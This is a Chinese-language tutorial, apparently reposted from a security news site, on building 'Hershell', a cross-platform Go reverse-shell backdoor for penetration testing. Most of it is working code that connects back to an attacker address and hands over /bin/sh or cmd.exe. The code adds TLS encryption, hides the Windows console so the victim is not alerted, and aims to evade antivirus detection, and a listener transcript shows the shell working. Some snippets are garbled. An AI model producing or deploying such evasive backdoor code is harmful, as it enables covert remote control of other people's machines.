當前位置:
首頁 > 新聞 > 滲透測試中的 Go 語言使用:編寫反彈後門 Hershell

滲透測試中的 Go 語言使用:編寫反彈後門 Hershell

介紹

在滲透測試過程中,一個必備的工具是眾所周知的、超級棒的Metasploit框架。

該環境包含大量的payload、編碼器和其他工具。在這些payload中Meterpreter有重要意義:它是一個經過開發和後開發命令的修改版的shell。由於其強大的攻擊特性,該shell可能是最常用到的。

Meterpreter的問題

不幸的是,Meterpreter的流行有一個缺點:大多數反病毒和基於簽名的解決方案都能檢測到它。通常在滲透測試過程中,一個含有Meterpreter payload的二進位文件會被檢測到,並被發送進行隔離。

另一個問題可能是缺乏對特定目標體系結構的支持(例如,BSD),迫使我們開發自己的後門。

上述這些問題促使我們編寫Hershell。該項目的目標是提供一個基於單一的源代碼的reverse shell payload,它可以跨平台,並且不被殺毒軟體所發現。

我們使用Go語言開發,它是一種由Google開發的編譯語言。

為什麼使用GO語言?

現今,Python可能是編寫腳本甚至完成應用程序最流行的語言,尤其是在安全領域。那麼我們為什麼要學習一門新的語言呢?

Go比Python或其他語言具有一種優勢:在不需要任何外部依賴項的情況下執行交叉編譯非常容易。得益於標準庫,一個Go二進位文件包含了在目標體系結構上執行的所有必需的代碼。因此,Go語言應該可以很容易地從相同的源代碼中為多種平台構建二進位文件。

目標

在構建這段代碼時,我們想要實現以下目標:

payload類型是reverse shell;

得到一個跨多個平台(Windows、Linux、MacOS、ARM)和硬體架構的payload;

容易配置;

加密通信;

繞過大多數反病毒檢測引擎。

環境準備

從你最喜歡的發行版中安裝Go包,或者從官方網站下載。

一旦安裝完畢,我們需要配置環境。我們創建一個dev目錄,該目錄將是源、庫和構建二進位文件的根:

$ mkdir -p$HOME/dev/

$ export GOPATH=$HOME/dev

$ cd dev

該目錄遵循下面的計劃:

bin包含編譯後的二進位文件和其他可執行文件;

pkg包含Go下載包的對象文件;

src包含你的應用程序和下載包的源目錄。

我的第一個reverse shell

首先,使用Go語言創建一個簡單的TCP reverse shell。

這裡是一個完整的注釋版本,而不是逐行注釋代碼。

// filename: tcp.go

package main

import (

"net" // requirement to establish a connection

"os" // requirement to call os.Exit()

"os/exec" // requirement to execute commands against the target system

)

func main() {

// Connecting back to the attacker

// If it fails, we exit the program

conn, err := net.Dial("tcp", "192.168.0.23:2233")

if err != nil {

os.Exit(1)

}

// Creating a /bin/sh process

cmd := exec.Command("/bin/sh")

// Connecting stdin and stdout

// to the opened connection

cmd.Stdin = conn

cmd.Stdout = conn

cmd.Stderr = conn

// Run the process

cmd.Run()

}

首先,我們使用net.Dial建立一個到遠程伺服器的連接。Go標準庫的net包是基於TCP或UDP網路通信的一個抽象層。

了解更多關於如何使用一個包、文檔(go doc)很有幫助:

$ go doc net

package net // import "net"

Package net provides a portable interface for network I/O, including TCP/IP,

UDP, domain name resolution, and Unix domain sockets.

Although the package provides access to low-level networking primitives,

most clients will need only the basic interface provided by the Dial,

Listen, and Accept functions and the associated Conn and Listener

interfaces. The crypto/tls package uses the same interfaces and similar Dial

and Listen functions.

...

讓我們回到腳本。

一旦建立了連接(如果失敗了,程序就停止了),我們將創建一個進程(類型為exec.Cmd的對象),這要歸功於exec.Command函數。所有輸入和輸出(stdout、stdin和stderr)都被重定向到連接,並啟動進程。

然後我們可以編行該文件:

$ go build tcp.go

$ ./tcp

現在,我們需要開啟偵聽器:

# Listening server (attacker)

$ ncat -lvp 2233

Listening on [0.0.0.0] (family 0, port 2233)

Connection from 192.168.0.20 38422 received!

id

uid=1000(lab) gid=100(users) groupes=100(users)

如預期的那樣,我們得到了reverse shell。

到目前為止我們大多數的目標尚未實現。

配置

我們現在有一些reverse shell基本代碼。但是在每次編譯之後我們必須修改,以便定義攻擊者的監聽埠和IP地址。

這種操作雖然不是很便利。但這裡可以引入一個簡單的小技巧:在連接時(在編譯之前)進行變數定義。

事實上,在構建過程中,可以定義一些變數的值(使用go build命令)。

這是使用前面代碼的一個簡短的例子:

// filename: tcp.go

package main

import (

"net"

"os"

"os/exec"

)

// variable to be defined at compiling time

var connectString string

func main() {

if len(connectString) == 0 {

os.Exit(1)

}

conn, err := net.Dial("tcp", connectString)

if err != nil {

os.Exit(1)

}

cmd := exec.Command("/bin/sh")

cmd.Stdin = conn

cmd.Stdout = conn

cmd.Stderr = conn

cmd.Run()

}

我們只添加下面一行代碼,進行一個安全測試以檢查它是否包含一個值:

var connectString string

其代碼編譯如下:

$ go build --ldflags "-X main.connectString=192.168.0.23:2233" tcp.go

當我們構建二進位文件時,攻擊者的IP地址和埠可以被動態定義。

注意,可以以package.nomVariable的模式訪問這些變數,並且這些變數只能是string類型。

為了簡化編譯,我們可以創建一個Makefile:

# Makefile

SOURCE=tcp.go

BUILD=go build

OUTPUT=reverse_shell

LDFLAGS=--ldflags "-X main.connectString=$:$"

all:

$ $ -o $ $

clean:

rm -f $

本文的其餘部分,我們將使用LHOST和LPORT環境變數來定義設置:

$ make LHOST=192.168.0.23 LPORT=2233

go build --ldflags "-X main.connectString=192.168.0.23:2233" -o reverse_shell tcp.go

跨平台

既然可以很容易地配置 payload,也可以跨平台使用它。

如前所述,payload的強項之一是從同一個代碼庫使用Go語言為各種架構和平台進行構建。

準確地說, runtime提供了GOOS和GOARCH變數。

讓我們看看如何使用GOOS:

// filename: tcp_multi.go

package main

import (

"net"

"os"

"os/exec"

"runtime" // requirement to access to GOOS

)

var connectString string

func main() {

var cmd *exec.Cmd

if len(connectString) == 0 {

os.Exit(1)

}

conn, err := net.Dial("tcp", connectString)

if err != nil {

os.Exit(1)

}

switch runtime.GOOS {

case "windows":

cmd = exec.Command("cmd.exe")

case "linux":

cmd = exec.Command("/bin/sh")

case "freebsd":

cmd = exec.Command("/bin/csh")

default:

cmd = exec.Command("/bin/sh")

}

cmd.Stdin = conn

cmd.Stdout = conn

cmd.Stderr = conn

cmd.Run()

}

很顯然,我們添加了一個switch模塊來處理GOOS不同的值。因此,我們只是檢查幾個操作系統的值,並且改變每個目標進程。

上面的代碼可以進一步簡化,實際上除了Windows,大多數操作系統上都有/bin/sh:

switch runtime.GOOS {

case "windows":

// Windows specific branch

cmd = exec.Command("cmd.exe")

default:

// any other OS

cmd = exec.Command("/bin/sh")

}

現在,使用GOARCH處理交叉編譯架構非常簡單:

$ make GOOS=windows GOARCH=amd64 LHOST=192.168.0.23 LPORT=2233

go build --ldflags "-X main.connectString=192.168.0.23:2233" -o reverse_shell tcp_multi.go

$ file reverse_shell

reverse_shell: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows

網路加密

現在,讓我們看看如何加密網路流量。

有幾種選擇:

用一個自製的方法,在應用程序層建立加密

使用一種被廣泛使用並且在會話層測試協議的方法,即TLS。

鑒於我們都傾向於簡單和安全,我們選擇了很容易用Go語言實現的TLS。標準庫已經支持一切支持TLS的東西。

在客戶端,一個新的&tls.Config類型對象需要配置連接,比如證書鎖定(certificate pinning)。

這是新的代碼庫,進行了輕微的優化和TLS處理:

import (

"crypto/tls"

"runtime"

"os"

"os/exec"

"net"

)

var connectString string

func GetShell(conn net.Conn) {

var cmd *exec.Cmd

switch runtime.GOOS {

case "windows":

cmd = exec.Command("cmd.exe")

default:

cmd = exec.Command("/bin/sh")

}

cmd.Stdout = conn

cmd.Stderr = conn

cmd.Stdin = conn

cmd.Run()

}

func Reverse(connectString string) {

var (

conn *tls.Conn

err error

)

// Creation of the tls.Config object

// Accepting *any* server certificate

config := &tls.Config

if conn, err = tls.Dial("tcp", connectString, config); err != nil {

os.Exit(-1)

}

defer conn.Close()

// Starting the shell

GetShell(conn)

}

func main() {

if len(connectString) == 0 {

os.Exit(1)

}

Reverse(connectString)

}

如示例所示,創建一個TLS套接字(socket)非常類似於創建一個簡單的TCP socket。不同於tls.Config,tls.Conn對象與net.Conn以相同的方式被使用。

條件編譯

如上圖所示,可以改變取決於目標操作系統的程序執行。

然而,如果你想使用這段代碼,你會注意到一個問題。cmd.exe窗口會出現,並且無法隱藏,從而會提醒受害者。

幸運的是,exec.Cmd對象的SysProcAttr可以改變這種情況,如本文所述:

$ go doc exec.Cmd

...

// SysProcAttr holds optional, operating system-specific attributes.

// Run passes it to os.StartProcess as the os.ProcAttr"s Sys field.

SysProcAttr *syscall.SysProcAttr

...

在Linux下,關於syscall.SysProcAttr模塊文件,我們得到以下信息:

$ go doc syscall.SysProcAttr

type SysProcAttr struct {

Chroot string // Chroot.

Credential *Credential // Credential.

Ptrace bool // Enable tracing.

Setsid bool // Create session.

Setpgid bool // Set process group ID to Pgid, or, if Pgid == 0, to new pid.

Setctty bool // Set controlling terminal to fd Ctty (only meaningful if Setsid is set)

Noctty bool // Detach fd 0 from controlling terminal

Ctty int // Controlling TTY fd

Foreground bool // Place child"s process group in foreground. (Implies Setpgid. Uses Ctty as fd of controlling TTY)

Pgid int // Child"s process group ID if Setpgid.

Pdeathsig Signal // Signal that the process will get when its parent dies (Linux only)

Cloneflags uintptr // Flags for clone calls (Linux only)

Unshareflags uintptr // Flags for unshare calls (Linux only)

UidMappings []SysProcIDMap // User ID mappings for user namespaces.

GidMappings []SysProcIDMap // Group ID mappings for user namespaces.

// GidMappingsEnableSetgroups enabling setgroups syscall.

// If false, then setgroups syscall will be disabled for the child process.

// This parameter is no-op if GidMappings == nil. Otherwise for unprivileged

// users this should be set to false for mappings work.

GidMappingsEnableSetgroups bool

}

然而,在syscall package(包)的源代碼中,我們觀察到每一個構建都有一個特定的實現。

此外,在Windows的exec子方式中,我們注意到SysProcAttr結構有不同的定義。它有一個HidWindow屬性(布爾類型),當啟動一個程序時這一屬性允許隱藏啟動窗口。

該屬性也正是我們的後門需要的。

我們可能會被這一實現所吸引:

...

switch runtime.GOOS {

case "windows":

cmd := exec.Cmd("cmd.exe")

cmd.SysProcAttr = &syscall.SysProcAttr

default:

cmd := exec.Cmd("/bin/sh")

}

...

然而,由於HideWindow屬性在syscall/exec_linux.go中不存在,因此這種編譯在除了Windows之外的任何其他平台可能會失敗。

因此,我們需要調整我們的項目的結構,使用條件編譯。條件編譯指的是一種特性,允許添加源代碼文件頂部編譯器的命令。例如,如果我們想要編譯一個只適用於Windows操作系統的源文件,我們將添加該命令:

// +build windows !linux !darwin !freebsd

import net

...

當GOOS變數設置為darwin、 linux 或者freebsd時,該命令將指示編譯器不包括該文件。當然,當值與windows匹配時,編譯器將包含該源文件。

為了在我們的項目中實現該條件編譯,我們將遵循這個結構:

$ tree

├── hershell.go

├── Makefile

├── README.md

└── shell

├── shell_default.go

└── shell_windows.go

hershell.go包含程序的核心部分。然後,我們創建一個名為shell的模塊,該模塊有兩個文件:適用於Linux和Unix的shell_default.go文件;以及適用於Windows的shell_windows.go文件。

證書鎖定

使用TLS安全通信是件好事,但只要我們不對伺服器進行身份驗證,流量仍然可以被「中間人」劫持。

為了預防這種攻擊,我們將驗證伺服器提供的證書,這就叫做「證書鎖定(certificate pinning)」。

以下函數負責證書鎖定(certificate pinning):

func CheckKeyPin(conn *tls.Conn, fingerprint []byte) (bool, error) {

valid := false

connState := conn.ConnectionState()

for _, peerCert := range connState.PeerCertificates {

hash := sha256.Sum256(peerCert.Raw)

if bytes.Compare(hash[0:], fingerprint) == 0 {

valid = true

}

}

return valid, nil

}

這個函數接受一個tls.Conn對象的指針作為參數,並且包含SHA256格式的指紋證書的一個位元組數組。在連接過程中,該代碼掃描所有tls.Conn中的PeerCertificates,直到發現與提供的相匹配的指紋為止。

如果碰巧沒有證書匹配,函數返回false。

當需要建立與遠程伺服器的連接時,我們只需要調用該函數;如果提交的證書是無效的則會關閉連接:

func Reverse(connectString string, fingerprint []byte) {

var (

conn *tls.Conn

err error

)

config := &tls.Config

if conn, err = tls.Dial("tcp", connectString, config); err != nil {

os.Exit(ERR_HOST_UNREACHABLE)

}

defer conn.Close()

// checking the certificate fingerprint

if ok, err := CheckKeyPin(conn, fingerprint); err != nil || !ok {

os.Exit(ERR_BAD_FINGERPRINT)

}

RunShell(conn)

}

最初,由於--ldflags,在編譯(在Makefile中)過程中可以生成有效的指紋:

...

LINUX_LDFLAGS=--ldflags "-X main.connectString=$:$ -X main.connType=$ -X main.fingerPrint=$$(openssl x509 -fingerprint -sha256 -noout -in $ | cut -d "=" -f2)"

...

結論

本文旨在表明,使用GO語言構建有效的工具是相對簡單的。

集成的跨平台特性(交叉和條件編譯),以及豐富的標準庫可以讓我們能夠構建許多好的結構。我們甚至還沒有提到它還具有大量的社區包。shell具有升級為Meterpreter的特性,我們更進一步的使其成為使用隱形Go二進位集成Metasploit框架一種強大的方式。

在我們的Github庫中,你可以找到完整的項目源代碼。如果您有任何問題或建議,隨時歡迎提出問題!


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 嘶吼RoarTalk 的精彩文章:

雲高防之另類玩法:遊戲盾

TAG:嘶吼RoarTalk |